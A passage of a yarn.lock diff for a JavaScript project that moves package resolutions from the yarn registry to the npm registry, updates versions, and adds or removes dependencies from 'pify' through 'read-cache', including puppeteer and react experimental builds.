   integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
 
-pify@^2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
-  integrity sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==
+picomatch@^4.0.2:
+  version "4.0.2"
+  resolved "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz"
+  integrity sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==
 
 pify@^4.0.1:
   version "4.0.1"
-  resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
+  resolved "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz"
   integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
 
-pirates@^4.0.1, pirates@^4.0.4, pirates@^4.0.5:
+pirates@^4.0.1:
+  version "4.0.6"
+  resolved "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz"
+  integrity sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==
+
+pirates@^4.0.4, pirates@^4.0.5:
   version "4.0.5"
-  resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.5.tgz#feec352ea5c3268fb23a37c702ab1699f35a5f3b"
+  resolved "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz"
   integrity sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==
 
+pkce-challenge@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.0.tgz"
+  integrity sha512-ueGLflrrnvwB3xuo/uGob5pd5FN7l0MsLf0Z87o/UQmRtwjvfylfc9MurIxRAWywCYTgrvpXBcqjV4OfCYGCIQ==
+
 pkg-dir@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
+  resolved "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz"
   integrity sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==
   dependencies:
     find-up "^3.0.0"
 
 pkg-dir@^4.2.0:
   version "4.2.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
+  resolved "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz"
   integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
   dependencies:
     find-up "^4.0.0"
 
-playwright-core@1.42.1:
-  version "1.42.1"
-  resolved "https://registry.yarnpkg.com/playwright-core/-/playwright-core-1.42.1.tgz#13c150b93c940a3280ab1d3fbc945bc855c9459e"
-  integrity sha512-mxz6zclokgrke9p1vtdy/COWBH+eOZgYUVVU34C73M+4j4HLlQJHtfcqiqqxpP0o8HhMkflvfbquLX5dg6wlfA==
-
-playwright@1.42.1:
-  version "1.42.1"
-  resolved "https://registry.yarnpkg.com/playwright/-/playwright-1.42.1.tgz#79c828b51fe3830211137550542426111dc8239f"
-  integrity sha512-PgwB03s2DZBcNRoW+1w9E+VkLBxweib6KTXM0M3tkiT4jVxKSi6PmVJ591J+0u10LUrgxB7dLRbiJqO5s2QPMg==
-  dependencies:
-    playwright-core "1.42.1"
-  optionalDependencies:
-    fsevents "2.3.2"
-
-postcss-import@^15.1.0:
-  version "15.1.0"
-  resolved "https://registry.yarnpkg.com/postcss-import/-/postcss-import-15.1.0.tgz#41c64ed8cc0e23735a9698b3249ffdbf704adc70"
-  integrity sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==
-  dependencies:
-    postcss-value-parser "^4.0.0"
-    read-cache "^1.0.0"
-    resolve "^1.1.7"
-
-postcss-js@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-js/-/postcss-js-4.0.1.tgz#61598186f3703bab052f1c4f7d805f3991bee9d2"
-  integrity sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==
-  dependencies:
-    camelcase-css "^2.0.1"
-
-postcss-load-config@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-4.0.1.tgz#152383f481c2758274404e4962743191d73875bd"
-  integrity sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==
-  dependencies:
-    lilconfig "^2.0.5"
-    yaml "^2.1.1"
+possible-typed-array-names@^1.0.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz#93e3582bc0e5426586d9d07b79ee40fc841de4ae"
+  integrity sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==
 
-postcss-nested@^6.0.1:
+postcss-load-config@^6.0.1:
   version "6.0.1"
-  resolved "https://registry.yarnpkg.com/postcss-nested/-/postcss-nested-6.0.1.tgz#f83dc9846ca16d2f4fa864f16e9d9f7d0961662c"
-  integrity sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==
-  dependencies:
-    postcss-selector-parser "^6.0.11"
-
-postcss-selector-parser@^6.0.11:
-  version "6.0.13"
-  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz#d05d8d76b1e8e173257ef9d60b706a8e5e99bf1b"
-  integrity sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==
-  dependencies:
-    cssesc "^3.0.0"
-    util-deprecate "^1.0.2"
-
-postcss-value-parser@^4.0.0, postcss-value-parser@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
-  integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
-
-postcss@8.4.31, postcss@^8.4.23:
-  version "8.4.31"
-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.31.tgz#92b451050a9f914da6755af352bdc0192508656d"
-  integrity sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==
-  dependencies:
-    nanoid "^3.3.6"
-    picocolors "^1.0.0"
-    source-map-js "^1.0.2"
-
-postcss@^8.4.31:
-  version "8.4.38"
-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.38.tgz#b387d533baf2054288e337066d81c6bee9db9e0e"
-  integrity sha512-Wglpdk03BSfXkHoQa3b/oulrotAkwrlLDRSOb9D0bN86FdRyE9lppSp33aHNPgBa0JKCoB+drFLZkQoRRYae5A==
+  resolved "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz"
+  integrity sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==
   dependencies:
-    nanoid "^3.3.7"
-    picocolors "^1.0.0"
-    source-map-js "^1.2.0"
+    lilconfig "^3.1.1"
 
 prelude-ls@^1.2.1:
   version "1.2.1"
-  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
+  resolved "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz"
   integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
 
-prelude-ls@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
-  integrity sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==
+prettier-plugin-hermes-parser@0.26.0, prettier-plugin-hermes-parser@^0.26.0:
+  version "0.26.0"
+  resolved "https://registry.npmjs.org/prettier-plugin-hermes-parser/-/prettier-plugin-hermes-parser-0.26.0.tgz"
+  integrity sha512-ajjlx/0OQ+lcZQEnKEUDU7Srr9vw1OoMO6qZDIYmck1u7j9STiCStqb3RG1vE7FripXYAhquuI+oYG8BCTNC4g==
+  dependencies:
+    hermes-estree "0.26.0"
+    hermes-parser "0.26.0"
+    prettier-plugin-hermes-parser "0.26.0"
 
-prettier@*, prettier@^3.2.5:
-  version "3.2.5"
-  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.2.5.tgz#e52bc3090586e824964a8813b09aba6233b28368"
-  integrity sha512-3/GWa9aOC0YeD7LUfvOG2NiDyhOWRvt1k+rcKhOuYnMY24iiCphgneUfJDyFXd6rZCAnuLBv6UeAULtrhT/F4A==
+prettier@^3.3.3:
+  version "3.3.3"
+  resolved "https://registry.npmjs.org/prettier/-/prettier-3.3.3.tgz"
+  integrity sha512-i2tDNA0O5IrMO757lfrdQZCc2jPNDVntV0m/+4whiDfWaTKfMNgR7Qz0NAeGz/nRqF4m5/6CLzbP4/liHt12Ew==
 
-prettier@3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.0.3.tgz#432a51f7ba422d1469096c0fdc28e235db8f9643"
-  integrity sha512-L/4pUDMxcNa8R/EthV08Zt42WBO4h1rarVtK0K+QJG0X187OLo7l699jWw0GKuwzkPQ//jMFA/8Xm6Fh3J/DAg==
+pretty-format@30.0.5, pretty-format@^30.0.0:
+  version "30.0.5"
+  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-30.0.5.tgz#e001649d472800396c1209684483e18a4d250360"
+  integrity sha512-D1tKtYvByrBkFLe2wHJl2bwMJIiT8rW+XA+TiataH79/FszLQMrpGEvzUVkzPau7OCO0Qnrhpe87PqtOAIB8Yw==
+  dependencies:
+    "@jest/schemas" "30.0.5"
+    ansi-styles "^5.2.0"
+    react-is "^18.3.1"
 
 pretty-format@^24:
   version "24.9.0"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-24.9.0.tgz#12fac31b37019a4eea3c11aa9a959eb7628aa7c9"
+  resolved "https://registry.npmjs.org/pretty-format/-/pretty-format-24.9.0.tgz"
   integrity sha512-00ZMZUiHaJrNfk33guavqgvfJS30sLYf0f8+Srklv0AMPodGGHcoHgksZ3OThYnIvOd+8yMCn0YiEOogjlgsnA==
   dependencies:
     "@jest/types" "^24.9.0"
@@ -8445,7 +9611,7 @@ pretty-format@^24:
 
 pretty-format@^27.0.2:
   version "27.5.1"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-27.5.1.tgz#2181879fdea51a7a5851fb39d920faa63f01d88e"
+  resolved "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz"
   integrity sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==
   dependencies:
     ansi-regex "^5.0.1"
@@ -8454,7 +9620,7 @@ pretty-format@^27.0.2:
 
 pretty-format@^28.0.0, pretty-format@^28.1.3:
   version "28.1.3"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-28.1.3.tgz#c9fba8cedf99ce50963a11b27d982a9ae90970d5"
+  resolved "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz"
   integrity sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==
   dependencies:
     "@jest/schemas" "^28.1.3"
@@ -8462,27 +9628,46 @@ pretty-format@^28.0.0, pretty-format@^28.1.3:
     ansi-styles "^5.0.0"
     react-is "^18.0.0"
 
-pretty-format@^29.0.0, pretty-format@^29.0.3:
+pretty-format@^29.0.0, pretty-format@^29.7.0:
+  version "29.7.0"
+  resolved "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz"
+  integrity sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==
+  dependencies:
+    "@jest/schemas" "^29.6.3"
+    ansi-styles "^5.0.0"
+    react-is "^18.0.0"
+
+pretty-format@^29.0.3:
   version "29.0.3"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-29.0.3.tgz#23d5f8cabc9cbf209a77d49409d093d61166a811"
+  resolved "https://registry.npmjs.org/pretty-format/-/pretty-format-29.0.3.tgz"
   integrity sha512-cHudsvQr1K5vNVLbvYF/nv3Qy/F/BcEKxGuIeMiVMRHxPOO1RxXooP8g/ZrwAp7Dx+KdMZoOc7NxLHhMrP2f9Q==
   dependencies:
     "@jest/schemas" "^29.0.0"
     ansi-styles "^5.0.0"
     react-is "^18.0.0"
 
-pretty-format@^29.3.1, pretty-format@^29.5.0:
+pretty-format@^29.5.0:
   version "29.5.0"
-  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-29.5.0.tgz#283134e74f70e2e3e7229336de0e4fce94ccde5a"
+  resolved "https://registry.npmjs.org/pretty-format/-/pretty-format-29.5.0.tgz"
   integrity sha512-V2mGkI31qdttvTFX7Mt4efOqHXqJWMu4/r66Xh3Z3BwZaPfPJgp6/gbwoujRpPUtfEF6AUUWx3Jim3GCw5g/Qw==
   dependencies:
     "@jest/schemas" "^29.4.3"
     ansi-styles "^5.0.0"
     react-is "^18.0.0"
 
+process-nextick-args@~2.0.0:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz"
+  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
+
+progress@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz"
+  integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==
+
 prompt-promise@^1.0.3:
   version "1.0.3"
-  resolved "https://registry.yarnpkg.com/prompt-promise/-/prompt-promise-1.0.3.tgz#78ce4fcb9a14a108c49174f2d808c440d1bde265"
+  resolved "https://registry.npmjs.org/prompt-promise/-/prompt-promise-1.0.3.tgz"
   integrity sha512-xIbGSzK59hFiwn9kmD0Cki4igpUqTVx7c6D8lqZoENAZyTwxhMhh/QleHWoRFVVusi7CTj/ByHP3N+2EmkhKIA==
   dependencies:
     keypress "~0.2.1"
@@ -8490,646 +9675,868 @@ prompt-promise@^1.0.3:
 
 prompts@^2.0.1:
   version "2.4.2"
-  resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.2.tgz#7b57e73b3a48029ad10ebd44f74b01722a4cb069"
+  resolved "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz"
   integrity sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==
   dependencies:
     kleur "^3.0.3"
     sisteransi "^1.0.5"
 
-prop-types@^15.8.1:
-  version "15.8.1"
-  resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.8.1.tgz#67d87bf1a694f48435cf332c24af10214a3140b5"
-  integrity sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==
+protochain@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.npmjs.org/protochain/-/protochain-1.0.5.tgz"
+  integrity sha512-4hDwFSX50C4NE6f/6zg8EPr/WLPTkFPUtG0ulWZu6bwzV2hmb50fpdQLr0HiKBAUehapaFpItzWoCLjraLJhUA==
+
+proxy-addr@^2.0.7:
+  version "2.0.7"
+  resolved "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz"
+  integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==
+  dependencies:
+    forwarded "0.2.0"
+    ipaddr.js "1.9.1"
+
+proxy-agent@^6.5.0:
+  version "6.5.0"
+  resolved "https://registry.npmjs.org/proxy-agent/-/proxy-agent-6.5.0.tgz"
+  integrity sha512-TmatMXdr2KlRiA2CyDu8GqR8EjahTG3aY3nXjdzFyoZbmB8hrBsTyMezhULIXKnC0jpfjlmiZ3+EaCzoInSu/A==
   dependencies:
-    loose-envify "^1.4.0"
-    object-assign "^4.1.1"
-    react-is "^16.13.1"
+    agent-base "^7.1.2"
+    debug "^4.3.4"
+    http-proxy-agent "^7.0.1"
+    https-proxy-agent "^7.0.6"
+    lru-cache "^7.14.1"
+    pac-proxy-agent "^7.1.0"
+    proxy-from-env "^1.1.0"
+    socks-proxy-agent "^8.0.5"
 
 proxy-from-env@^1.1.0:
   version "1.1.0"
-  resolved "https://registry.yarnpkg.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz#e102f16ca355424865755d2c9e8ea4f24d58c3e2"
+  resolved "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz"
   integrity sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==
 
 psl@^1.1.33:
   version "1.9.0"
-  resolved "https://registry.yarnpkg.com/psl/-/psl-1.9.0.tgz#d0df2a137f00794565fcaf3b2c00cd09f8d5a5a7"
+  resolved "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz"
   integrity sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==
 
+pump@^3.0.0:
+  version "3.0.2"
+  resolved "https://registry.npmjs.org/pump/-/pump-3.0.2.tgz"
+  integrity sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==
+  dependencies:
+    end-of-stream "^1.1.0"
+    once "^1.3.1"
+
 punycode@^2.1.0, punycode@^2.1.1:
   version "2.1.1"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
+  resolved "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz"
   integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
 
 punycode@^2.3.0:
   version "2.3.0"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.0.tgz#f67fa67c94da8f4d0cfff981aee4118064199b8f"
+  resolved "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz"
   integrity sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==
 
+puppeteer-core@24.7.2:
+  version "24.7.2"
+  resolved "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-24.7.2.tgz"
+  integrity sha512-P9pZyTmJqKODFCnkZgemCpoFA4LbAa8+NumHVQKyP5X9IgdNS1ZnAnIh1sMAwhF8/xEUGf7jt+qmNLlKieFw1Q==
+  dependencies:
+    "@puppeteer/browsers" "2.10.2"
+    chromium-bidi "4.1.1"
+    debug "^4.4.0"
+    devtools-protocol "0.0.1425554"
+    typed-query-selector "^2.12.0"
+    ws "^8.18.1"
+
+puppeteer@^24.7.2:
+  version "24.7.2"
+  resolved "https://registry.npmjs.org/puppeteer/-/puppeteer-24.7.2.tgz"
+  integrity sha512-ifYqoY6wGs0yZeFuFPn8BE9FhuveXkarF+eO18I2e/axdoCh4Qh1AE+qXdJBhdaeoPt6eRNTY4Dih29Jbq8wow==
+  dependencies:
+    "@puppeteer/browsers" "2.10.2"
+    chromium-bidi "4.1.1"
+    cosmiconfig "^9.0.0"
+    devtools-protocol "0.0.1425554"
+    puppeteer-core "24.7.2"
+    typed-query-selector "^2.12.0"
+
 pure-rand@^6.0.0:
   version "6.0.2"
-  resolved "https://registry.yarnpkg.com/pure-rand/-/pure-rand-6.0.2.tgz#a9c2ddcae9b68d736a8163036f088a2781c8b306"
+  resolved "https://registry.npmjs.org/pure-rand/-/pure-rand-6.0.2.tgz"
   integrity sha512-6Yg0ekpKICSjPswYOuC5sku/TSWaRYlA0qsXqJgM/d/4pLPHPuTxK7Nbf7jFKzAeedUhR8C7K9Uv63FBsSo8xQ==
 
+qs@^6.14.0:
+  version "6.14.0"
+  resolved "https://registry.npmjs.org/qs/-/qs-6.14.0.tgz"
+  integrity sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==
+  dependencies:
+    side-channel "^1.1.0"
+
 querystringify@^2.1.1:
   version "2.2.0"
-  resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
+  resolved "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz"
   integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
 
 queue-microtask@^1.2.2:
   version "1.2.3"
-  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+  resolved "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz"
   integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
 
 randombytes@^2.1.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
+  resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz"
   integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
   dependencies:
     safe-buffer "^5.1.0"
 
-re-resizable@^6.9.16:
-  version "6.9.16"
-  resolved "https://registry.yarnpkg.com/re-resizable/-/re-resizable-6.9.16.tgz#d040a3ba9ccb25a3cc85b7622d4eafdee48cf2c2"
-  integrity sha512-D9+ofwgPQRC6PL6cwavCZO9MUR8TKKxV1nHjbutSdNaFHK9v5k8m6DcESMXrw1+mRJn7fBHJRhZpa7EQ1ZWEEA==
+range-parser@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz"
+  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
 
-react-dom@18.2.0:
-  version "18.2.0"
-  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-18.2.0.tgz#22aaf38708db2674ed9ada224ca4aa708d821e3d"
-  integrity sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==
+raw-body@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/raw-body/-/raw-body-3.0.0.tgz"
+  integrity sha512-RmkhL8CAyCRPXCE28MMH0z2PNWQBNk2Q09ZdxM9IOOXwxwZbN+qbWaatPkdkWIKL2ZVDImrN/pK5HTRz2PcS4g==
   dependencies:
-    loose-envify "^1.1.0"
-    scheduler "^0.23.0"
+    bytes "3.1.2"
+    http-errors "2.0.0"
+    iconv-lite "0.6.3"
+    unpipe "1.0.0"
 
-react-dom@19.0.0-beta-b498834eab-20240506:
-  version "19.0.0-beta-b498834eab-20240506"
-  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-19.0.0-beta-b498834eab-20240506.tgz#1860706b1b5b68850fad0f44d08ae43311fe1171"
-  integrity sha512-k+o/NB0245cUhJXQj8S9YWlGc+3aNNRMUwhmSP22UA422jucLYg5N5eHYwNTr7EWNR/xJ1uZXodX+Ur9JvKCuQ==
+react-dom@0.0.0-experimental-4beb1fd8-20241118:
+  version "0.0.0-experimental-4beb1fd8-20241118"
+  resolved "https://registry.npmjs.org/react-dom/-/react-dom-0.0.0-experimental-4beb1fd8-20241118.tgz"
+  integrity sha512-/Gs2N/6hiuwqf2uuJ3UN/PWxpIncbuY7XY/IynlB2oNpopeV+x1MMXfNdse8TiPkpgg9aw+VUfQUlLPC52bKiQ==
   dependencies:
-    scheduler "0.25.0-beta-b498834eab-20240506"
+    scheduler "0.0.0-experimental-4beb1fd8-20241118"
 
-react-is@19.0.0-beta-b498834eab-20240506, react-is@^16.13.1, react-is@^16.8.4, react-is@^17.0.1, react-is@^18.0.0:
-  version "19.0.0-beta-b498834eab-20240506"
-  resolved "https://registry.yarnpkg.com/react-is/-/react-is-19.0.0-beta-b498834eab-20240506.tgz#772f7d3ff4997997730f54cad28282214b487294"
-  integrity sha512-n4bHxssA5Y0y1Vx4P0aBybxp0VviakagM9wgP961sVCj2hndZqb/NcVEmIkwxAL2ha4kv/l1zaUiIH+4fSZJkg==
+react-is@0.0.0-experimental-4beb1fd8-20241118:
+  version "0.0.0-experimental-4beb1fd8-20241118"
+  resolved "https://registry.npmjs.org/react-is/-/react-is-0.0.0-experimental-4beb1fd8-20241118.tgz"
+  integrity sha512-7JE3PtW4zpMYdp1bTXKNmz2t0jzaqc3frMWbvbuZmhif5ndtYx5oCGhfnbm6S5ZeTNKe4GXsN5D73QtZClfepQ==
 
-react@18.2.0:
-  version "18.2.0"
-  resolved "https://registry.yarnpkg.com/react/-/react-18.2.0.tgz#555bd98592883255fa00de14f1151a917b5d77d5"
-  integrity sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==
-  dependencies:
-    loose-envify "^1.1.0"
+react-is@^16.8.4:
+  version "16.13.1"
+  resolved "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz"
+  integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
 
-react@19.0.0-beta-b498834eab-20240506:
-  version "19.0.0-beta-b498834eab-20240506"
-  resolved "https://registry.yarnpkg.com/react/-/react-19.0.0-beta-b498834eab-20240506.tgz#36a99a1160ca055725a092630641c2dd77b62f33"
-  integrity sha512-mK8kVx7e0M6bVvjc+G+48Oo4TJJ1Y84JUrs60MbIw8WoqqHmG9qPFz3IwhXqzVtugqBMog5UA4KEZW+nHxewkw==
+react-is@^17.0.1:
+  version "17.0.2"
+  resolved "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz"
+  integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==
 
-read-cache@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/read-cache/-/read-cache-1.0.0.tgz#e664ef31161166c9751cdbe8dbcf86b5fb58f774"
